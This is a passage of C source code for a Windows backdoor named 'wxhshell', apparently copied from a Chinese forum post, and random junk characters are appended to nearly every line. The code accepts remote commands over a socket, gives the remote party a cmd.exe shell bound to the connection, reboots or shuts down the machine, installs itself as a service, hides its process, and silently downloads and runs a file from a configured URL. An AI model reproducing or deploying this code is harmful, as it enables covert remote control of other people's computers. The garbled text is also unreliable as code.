  else { { q&`B  
6aAN8wO;b  
    switch(cmd[0]) { $fPiR  
  ]g%HU%R-m  
  // 帮助 C.}ho.} r  
  case '?': { !QqVJ a{j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); od!s5f!  
    break; QY\'Uu{  
  } `$JOFLa  
  // 安装 W3X;c*j  
  case 'i': { or)fx/%h  
    if(Install()) |\C.il7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y'}c$*OkI  
    else :4\_upRE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h7xgLe@  
    break; B>"-8#B[4  
    } ;ae6h [  
  // 卸载 O "Aeg|  
  case 'r': { -O@/S9]S)  
    if(Uninstall()) @}%kSn5y:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Idj Z2)$  
    else OaByfo<S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f8f|'v|  
    break; O`~L*h_  
    } S!iDPl~  
  // 显示 wxhshell 所在路径 c(3c|n  
  case 'p': { rdX;  
    char svExeFile[MAX_PATH]; o 7V&HJ[  
    strcpy(svExeFile,"\n\r"); ;>]dwsA*P  
      strcat(svExeFile,ExeFile); Z ]OX6G  
        send(wsh,svExeFile,strlen(svExeFile),0); 0h('@Hb.K#  
    break; 4i29nq^n  
    } ,M\/[_:  
  // 重启 LG?b]'#  
  case 'b': { bvJ*REPL ?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +xr;X 9  
    if(Boot(REBOOT)) 1aUu:#c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #yCnM]cEn  
    else { a^&RV5o  
    closesocket(wsh); LsK fCB}  
    ExitThread(0); m .En!~t  
    } tU8aPiUl  
    break; e.|t12)L "  
    } E/d\ebX|  
  // 关机 Hjy4tA7,l  
  case 'd': { uBaGOW|Pl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2\Yv;J+;  
    if(Boot(SHUTDOWN)) |fn%!d`2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U71A#OD^U  
    else { $K 1)2WG  
    closesocket(wsh); A<[w'"  
    ExitThread(0); <.@w%rvG  
    } Sh<A936/E  
    break; (B].ppBii  
    } hLyV'*}  
  // 获取shell <9Ytv|t@0  
  case 's': { Mi[,-8Sk  
    CmdShell(wsh); <@v|~ AO4~  
    closesocket(wsh); [} %=& B  
    ExitThread(0);  8KzH -  
    break; _<)HFg6  
  } =?hbi]  
  // 退出 .R@euIva  
  case 'x': { 3TKl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EmV ZqW  
    CloseIt(wsh); 9lX+?m~ ~  
    break; (=s%>lW|  
    } %S%0/  
  // 离开 u z:@  
  case 'q': { )Mw 3ZE92  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); mZ#IP  
    closesocket(wsh); CyJZip  
    WSACleanup(); R9Y{kk0M  
    exit(1); JaJyH%+$!  
    break; &([yI>%  
        } 35SL*zS@-  
  } 'G3|PA7v  
  } X'cm0}2  
~rbJtz  
  // 提示信息  p;vrPS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c=IjR3F  
} PW-sF  
  } M3q7{w*bM  
9Cw !<  
  return; v/G^yZa  
} ??Dv\yLZI  
Ozc9yy!%  
// shell模块句柄 8j@ADfZ9  
int CmdShell(SOCKET sock) GF*E+/ ;  
{ AyMbwCR"X  
STARTUPINFO si; `?vI_>md'!  
ZeroMemory(&si,sizeof(si)); mP ^*nB@,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `)1qq @  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Dzw>[   
PROCESS_INFORMATION ProcessInfo; ?D=%k8)Y  
char cmdline[]="cmd"; d%ncI0f`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n,|YJ,v[  
  return 0; /_/Z/D!  
} Hd~fSXFl  
']vMOGG  
// 自身启动模式 d|$-l:(J  
int StartFromService(void) +PHuQ  
{ _dn*H-5hO  
typedef struct boIFN;Aq"  
{ q%Lw#f  
  DWORD ExitStatus; ch0x*[N@  
  DWORD PebBaseAddress; ~ZRtNL9   
  DWORD AffinityMask; T;B/ Wm!x  
  DWORD BasePriority; :J6FI6  
  ULONG UniqueProcessId; }+ TA+;  
  ULONG InheritedFromUniqueProcessId; t? _{  
}   PROCESS_BASIC_INFORMATION; LQa1p  
wRE2rsXoU  
PROCNTQSIP NtQueryInformationProcess; ;UWp0d%  
E&|EokSyN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?} U l(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eLop}*k  
.+CMm5T  
  HANDLE             hProcess; >tV:QP]Y  
  PROCESS_BASIC_INFORMATION pbi; VI^~I;M^  
-<q@0IYyi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =&;}#A%m  
  if(NULL == hInst ) return 0; T`|>oX  
V?z-Dt C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )yv~wi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >4AwjS }H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); coc :$Sr%  
P, SI0$Z  
  if (!NtQueryInformationProcess) return 0; Kr;F4G|Qt  
~=pyA#VVJ"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Bd*\|M  
  if(!hProcess) return 0; Fk&A2C}$b  
hUMFfc ?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;F>I+l_X  
Y]HtO^T2  
  CloseHandle(hProcess); 0:k MnHn\  
0XrOOYmx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ))#_@CwRr  
if(hProcess==NULL) return 0; [wjH;f>SQ  
*", BP]]  
HMODULE hMod; kv?j]<WN  
char procName[255]; x\6i(k-  
unsigned long cbNeeded; ^VlPnx8y=  
("j*!Dsd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [fXC ;c1  
05vu{>  
  CloseHandle(hProcess); ou'|e"tI  
4 {3< `  
if(strstr(procName,"services")) return 1; // 以服务启动 8*yk y  
tsqWnz=)  
  return 0; // 注册表启动 R{Qvpd$y  
} ogKd}qTov  
WevXQ-eKm  
// 主模块 KXga {]G:  
int StartWxhshell(LPSTR lpCmdLine) =?- s azF&  
{ kn7Qvk[+  
  SOCKET wsl; e!*%U= [Q  
BOOL val=TRUE; D z5(v1I9A  
  int port=0; 3` \)Qm  
  struct sockaddr_in door; 9mH+Ol#(  
G@]|/kN1y  
  if(wscfg.ws_autoins) Install(); z`+j]NX]  
t%>x}b"2T  
port=atoi(lpCmdLine); U})Z4>[bvt  
[=I==?2`X  
if(port<=0) port=wscfg.ws_port; I~I$/j]e`  
]%/a'[  
  WSADATA data; ]$96#}7N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nXF|AeAco  
z6J fu:_N!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H!ISQ8{V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i3\6*$Ug  
  door.sin_family = AF_INET; 9k>=y n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  |{@_J  
  door.sin_port = htons(port); -)ag9{*  
H>2f M^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SB`"%6  
closesocket(wsl); " ^:$7~%bA  
return 1; |MXv  w6P  
} 4 jeUYkJUM  
auT$-Ki8  
  if(listen(wsl,2) == INVALID_SOCKET) { i#y3QCNqf^  
closesocket(wsl); 6J%+pt[tu  
return 1; N8:&v  
} )IP{yL8c  
  Wxhshell(wsl); *Ad7GG1/u  
  WSACleanup(); yS:1F PA$_  
2Md'<.  
return 0; IKV:J9  
mh8~w~/[  
} aF\?X &|  
W e*)RXm%  
// 以NT服务方式启动 Ev;ocb,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vVi))%&S(  
{ g$ oe00b  
DWORD   status = 0; )z#M_[zC>  
  DWORD   specificError = 0xfffffff; ]w=6.LzO*  
juuV3et  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lhA<wV1-9G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \3@AC7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r'ydjy  
  serviceStatus.dwWin32ExitCode     = 0; 5=.EngG  
  serviceStatus.dwServiceSpecificExitCode = 0; q#~]Hp=W5  
  serviceStatus.dwCheckPoint       = 0; 6|D,`dk3U  
  serviceStatus.dwWaitHint       = 0; VX;tg lu2  
%Sdzr!I7*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b(~ gQM  
  if (hServiceStatusHandle==0) return; h}_1cev?  
B:\TvWbu  
status = GetLastError(); 9v<Sng  
  if (status!=NO_ERROR) MrA&xM  
{ grhwPnKl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 21BlLz  
    serviceStatus.dwCheckPoint       = 0; 88ydAx#P  
    serviceStatus.dwWaitHint       = 0; ^L<*ggw  
    serviceStatus.dwWin32ExitCode     = status; 6uijxia  
    serviceStatus.dwServiceSpecificExitCode = specificError; pMX#!wb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z<F.0~)jb  
    return; ^f,('0p- >  
  } d>Z{TFY  
*?+maK{5+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y(]&j`%  
  serviceStatus.dwCheckPoint       = 0; ,1YnWy *  
  serviceStatus.dwWaitHint       = 0; #)BdN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L_rKVoKjt  
} a,U =irBA  
%8V/QimHU  
// 处理NT服务事件,比如:启动、停止 Pl }dA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WM}bM] oe  
{ k'BLos1W  
switch(fdwControl) Ek,s6B)'d  
{ f9FsZD  
case SERVICE_CONTROL_STOP: 2Ax HhD.  
  serviceStatus.dwWin32ExitCode = 0; Tdr^~dcQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [-sE:O`yt  
  serviceStatus.dwCheckPoint   = 0; [N/[7Q/y  
  serviceStatus.dwWaitHint     = 0; u= K?K  
  { gi7As$+E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n8M/Y}mH   
  } M,Px.@tw.  
  return; imtW[y+4  
case SERVICE_CONTROL_PAUSE: |^ml|cb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zSYWNmj&  
  break; iD|"}}01  
case SERVICE_CONTROL_CONTINUE: PaEsz$mgy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; '* +]&~b  
  break; wo[W1?|s  
case SERVICE_CONTROL_INTERROGATE: LTY@}o]\U  
  break; h<9h2  
}; F^=|NlU&%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5U[;T]{)e  
} v5t`?+e  
y)v'0q  
// 标准应用程序主函数 h@z(yB j:0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Qko}rd_M  
{ f#l/N%VoBZ  
PL8eM]XS  
// 获取操作系统版本 'B"kUh%3$5  
OsIsNt=GetOsVer(); g2hxWf"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2WIbu-"l  
x]k^JPX  
  // 从命令行安装 M)#R_(Q5{  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y:VM 5r)  
I/GZ  
  // 下载执行文件 %f@VOSs  
if(wscfg.ws_downexe) { C/[2?[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OZ_'& CZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~R)Km`t  
} "$#x+|PyC  
'W$jHs  
if(!OsIsNt) { f$k#\=2%  
// 如果时win9x,隐藏进程并且设置为注册表启动 )4a&OlEI  
HideProc(); CPGXwM=   
StartWxhshell(lpCmdLine); e@L'H)w,  
} H#G~b""mY  
else 11 .RG *  
  if(StartFromService()) HqU"i Y>b  
  // 以服务方式启动 3;j?i<kM  
  StartServiceCtrlDispatcher(DispatchTable); }_M .-Xm  
else +6f5uMKUvs  
  // 普通方式启动 ''wWw(2O  
  StartWxhshell(lpCmdLine); r}QW!^F  
;=6 ++Oq  
return 0; jjz<V(Sk  
}
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只看该作者 1 发表于: 2006-10-10
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